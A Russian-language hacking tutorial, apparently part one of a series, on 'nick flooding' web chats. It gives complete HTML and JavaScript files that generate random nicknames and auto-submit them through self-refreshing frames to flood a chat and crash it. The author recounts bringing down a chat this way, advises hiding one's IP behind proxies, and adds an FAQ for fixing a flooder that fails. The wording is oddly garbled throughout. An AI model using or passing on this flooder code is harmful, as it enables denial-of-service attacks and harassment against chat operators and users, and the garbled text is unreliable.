Anti-chat или nick flooding ч.1

 

 

Продолжение >>>


Продолжая тему FA , мы решил написать еще одну статью, которая теперь уже точно соответствует своему названию. Внимание: используйте это исключительно для борьбы с "отмороженными" админами, которые от безделья либо дабы показать свои возможности выкидывают из чата по любой причине также без нее. Не используйте этот средство в чатах, в каком месте вам отчуждают нормально общаться, т.к. вы не дадите поговорить никому, потому что в чат станет заходить внушительное число разных "людей" причем их станет так немало, что выражать в чате станет нельзя... Другими словами это "Nick Flooding" либо наполнение чата несуществующими посетителями.

Сохраняем на диск стартовую страницу.
Для реализации вам потребуется чат со входом без регистрации также мало знания html(хотя-бы что это такое) . Сохраняем стартовую страницу чата, это в каком месте написано "Введите ваш ник" 

   Код примерно такой

<html><body>......................

<FORM action=/cgi-bin/chat/login.cgi method=post name="chat_x">  -путь куда отправляются данные
Введите ваш ник: <input type=text name=Nick> -Тут вводится ник
<INPUT name=color type=hidden value=red>  -краска
<INPUT type=submit value="Начать!!!" > -кнопка

.....................</html></body>  

А так это выглядит в Броузере:  Введите ваш ник  

Если у вас стартовая страница загружается в виде фреймов, т.е. уже видно сообщения , внизу написано "Введите ваш ник" (обычно это самый нижний фрейм) надобно щелкнуть там(внизу) правой кнопкой также выбрать "Просмотр в виде html" там вы увидите также что также в главном случае, возможно что код станет посложнее.

если вы умеете трудиться с чатом с диска также в данном чате это возможно, то  код нижнего фрейма после первой сказанной фразы станет иметь следующее :

<html><body>......................

<FORM action=/cgi-bin/chat/login.cgi method=post name="chat_x">  -путь куда отправляются данные
<input type=hidden name=Nick value = Ваш ник> -ник (его никак не видно)
<INPUT name=color type=hidden value=red>  - цвет
Введите фразу  <INPUT TYPE=TEXT name=say size="24"> -поле ввода фразы
<INPUT type=submit value="Сказать!!!" > 

.....................</html></body>     

Если этот чат находится по адресу http://www.domen.ru то в строчку <FORM action= /cgi-bin/chat/login.cgi method=post name="chat_x"> прописываем этот адрес также приобретаем: <FORM action= http://www.domen.ru/cgi-bin/chat/login.cgi method=post name="chat_x"> теперь запускаем этот файл также заходим из него в чат, name="chat_x" может отсутствовать, в то время разрешено добавить его самому. Вместо chat_x.оно может именоваться также по другму. Если получается заходить в чат из этого файла, переходим к следующей элементы.

Первая фишка: генерируем "Посетителей чата"

Если использовать для наших целей один ник, то больше 2-3 фраз он никак не протянет...выкинут. Значит надо чтобы ник прктически всегда был различный в этом нам поможет Java script (вам его знать никак не обязательно, просто подставите свои цифры) Math.floor(Math.random()*100000000)

Пример разрешено увидеть нажав на кнопку:   


Пояснение: Математический объект Math: Math.random() генерирует количество от 0 вплоть до 1, затем это число округляется при подмоги Math.floor() и дабы оно было целое надобно умножить например на 10 в то время станет генерироваться число от 0 вплоть до 9, ежели умножть на 100, то вплоть до 99, если умножить на 1000, то вплоть до 999 также .т.д. т.е. длина получаемого в результате числа,  меньше или равна числу нулей в том числе на которое умножали.... блин, самолично уже запуталсяSmile happy)) В примере(см. ниже) это количество равно 100000000  вызывая который мы получим случайное число, это , будет ник...
Для того дабы это количество вписалось в форму для ника, ставим его в автозагрузку страницы, т.е. в тег <body> позже этого получится: <body  onload="document.chat_x.nick.value =(Math.floor(Math.random()*1000000))"> обратите забота на название формы (см. образец html-кода выше, оно выделено желтым цветом) это нужно для того, дабы случайное количество вписывалось в нужную форму также в нужное поле.

Другая фишка: Отправляем "посетителей" в чат.

<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",1000);
}
</script>

Этот скрипт как бы "Нажимает" кнопку "Submit" и отпраляет данные из формы с названием chat_x, в чате эта кнопка может именоваться "Войти в чат" или "Сказать", действует он это с задержкой 1000 мс, это дабы вы могли сначала увидеть что загрузилось (позднее можно поставить 100), но потом данные автоматически отправляются, но для этого надобно прописать функцию отправки submit() в автозагрузку нашей страницы т.е.  в тег <body onload="document.chat_x.nick.value =(Math.floor(Math.random()*1000000));submit()"> теперь при загрузке страницы выбирается случайное число, потом оно записывается в форму chat_x в поле nick. также данные из формы chat_x отправляются на сервер, получается что в чат зашел чел с ником в виде нескольких чисел. 

Пример html-кода бесхитростного чат-флудера

<HTML><HEAD><TITLE>Chat Flooder</TITLE>

<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",1000);
}
</script>

</HEAD>
<BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">

<FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x">
<input name=color type=hidden value=red>
Nick:<input name=nick type=text>
<INPUT type=submit value="Начать!!!"> 
</BODY></HTML>

Последнее... самолично флудинг

Для этого кушать три способа. 

1.Создаем файл содержащий пара фрейма, в одном файл, какой при загрузке создает ник также отправляет его в чат, назовем его forma.htm, но во другом фрейме любой другой файл, у меня в образце это yo.htm. И сохраняем его с именем frames.htm Код этого документа станет такой:

Содержание файла frames.htm

<html><head><title>Chat Flooder</title></head>
<frameset rows="*,100">
<frame name="main" src="forma.htm">
<frame name="send" src="yo.htm">
<noframes><body>
<p>This page uses frames, but your browser doesn't support them.</p>
</body></noframes></frameset>

Имя фрейма send я выделил специально, т.к. данные будут отправляться в него, дабы файл forma.htm после отправки никак не выгружался. Далее в коде forma.htm дописываем следующее: в тег <FORM action=.....target="send"> и в исток акта строчку: <meta http-equiv="Refresh" content="1"> дабы файл сам обновлялся каждую секунду ,и ставим Timer=0. Что получилось: Файл обновляется также шлет в чат посетителя, это видно во фрейме с именем SEND т.е. взамен файла yo.htm появляется чат, потом forma.htm обновляется также снова шлет новоиспеченого чела в чат, также снова обновляется также снова в чат заходит новоиспеченный... так вплоть до безконечности:) Частота обновления ставится исходя из скорости подключения.

Пример содержания файла forma.htm

<HTML>
<HEAD><TITLE>Chat Flooder</TITLE>
<meta http-equiv="Refresh" content="1">
<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",0); 
}
</script>

</HEAD>
<BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">

<FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x" target="send">
<input name=color type=hidden value=red>
Nick:<input name=nick type=text>
<input name=password type=hidden value="">
<INPUT type=submit value="Начать!!!"> 
</BODY></HTML>

2 Способ.  Сначала делаем 4 файла которые будут отличаться только задержкой при отправке также один фреймовый файл в котором станет например 16(!) фреймов, в первой четверке первый файл, в нем  Timer= setTimeout(" (document.chat_x.submit())",1000); Во другой четверке фреймов загружается второй файл в котором задержка равна 10000. В третьей четверке- 30000. Ну но в четвертой четверке загрузится четвертый файл с задержкой 40000 т.е. каждые 10000мс в чат будут заходить 4 "человека" и все разные, правда они будут в виде цифр но это фигня... Если вы использовали форму входа в чат то все они будут "заходить" в чат, но ежели форму отправки сообщения, то разрешено вписать еще в качестве сообщения абзац текста, в то время каждый сгенерированный ник станет говорить... Экспериментируйте, пробуйте другие варианты с фреймами...

Осталось только скрыть свой IP, для этого разрешено воспользоваться A4Proxy , набрать большой перечень серверов....

3 Способ.  ежели у вас кушать сайт, то разрешено разместить данные файлы на него, например в скрытом фрейме, в то время также IP прктически всегда станет разный...

Валим чат:)

Чаты использующие систему приватов, так устроены, что безостановочно находятся "на связи" с компьютером пользователя, т.е. постоянно генерируют для него поток сообщений , следят никак не отключился ли он еще, также если юзрверей делается чрезвычайно немало то чат может никак не выдержать также "упасть". Так вот, давеча мы был в чате который выдерживает максимум 70 индивид, потом просто перестает работать,  хоть стартовая страница также загружается... Положить такой чат "вручную" оказалось никак не трудно, надобно было просто сделать файл какой генерит ники , шлет их в чат, чрез минуту после запуска этого файла, в чате к существующим 23-м прибавилось еще примерно 50 человек:)) также он ессесно упал (я использовал файл из множества фреймов, в которых был один также тот бла бла файл) И надо отметить, что мы был в клубе но там внушительная быстрота также мощнные компы:). Может также с модема тоже получится (типа договориться с кем-то также сразу начать) либо сначала попробовать самому, никак не знаю... Не забывайте что чаты ведут логи также у админов после этого может появиться хотение посмотреть что-же это было такое:) Теперь доступ с IP-адреса интернет-клуба "GeForce" в этот чат закрыт:)

FAQ: Если никак не получается

FlooDer: У меня ничто никак не получается:)
Попробуй сначала просто зайти в чат с диска, т.е. из сохраненной на винт формы входа, ежели все получилось, значит погрешность в коде "скрипта-флудера":), ежели никак не получилось, то читай дальше...

FlooDer: Зашел с диска, нынче никак не получается отправить данные:) что действовать?
Проверь правильность названия форм (name=XxXxX)

FlooDer: В строке <FORM action=http://www.***.ru/chat.cgi method=post> общий нет name="XxXxX", что действовать?
Вставь сам: (name="chat_x" target="send")  target- дабы данные отправлялись во фрейм send, получится  так: <FORM action=http://www.***.ru/chat.cgi method=post name="chat_x" target="send">

FlooDer: При входе в чат надобно вводить пароль, подходит всякий ежели ник никак не зарегистрирован, как его вписать в код?
В форме для ввода пароля надобно добавить: value="abrakadabra" тогда с этим паролем будут вступать все сгенеренные "юзеры"

Продолжение >>>